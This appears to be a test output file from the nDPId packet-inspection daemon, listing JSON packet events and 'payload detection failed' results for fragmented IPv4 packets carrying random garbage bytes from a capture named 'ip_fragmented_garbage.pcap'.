+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7693,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996356,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7693,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7694,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996368,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7694,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7695,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996380,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7695,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7696,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996393,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7696,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7697,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996407,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7697,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7698,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996420,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7698,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7699,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996433,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7699,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7700,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996446,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7700,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7701,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996459,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7701,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7702,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996471,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7702,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7703,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996483,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7703,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7704,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996496,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7704,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7705,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996509,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7705,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7706,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996523,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7706,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7707,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996536,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7707,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7708,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996549,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7708,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7709,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996561,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7709,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7710,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996575,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7710,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7711,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996587,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7711,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7712,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996599,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7712,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7713,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996613,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7713,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7714,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996633,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7714,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7715,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996645,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7715,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7716,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996659,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7716,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7717,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996671,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7717,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7718,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996683,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7718,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7719,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996697,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7719,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7720,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996709,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7720,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7721,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996721,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7721,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7722,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996734,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7722,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7723,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996747,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7723,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7724,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996760,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7724,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7725,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996773,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7725,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7726,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996785,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7726,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7727,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996797,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7727,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7728,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996809,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7728,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7729,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996822,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7729,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7730,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996836,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7730,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7731,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996849,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7731,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7732,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996861,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7732,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7733,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996874,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7733,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7734,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":996886,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7734,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 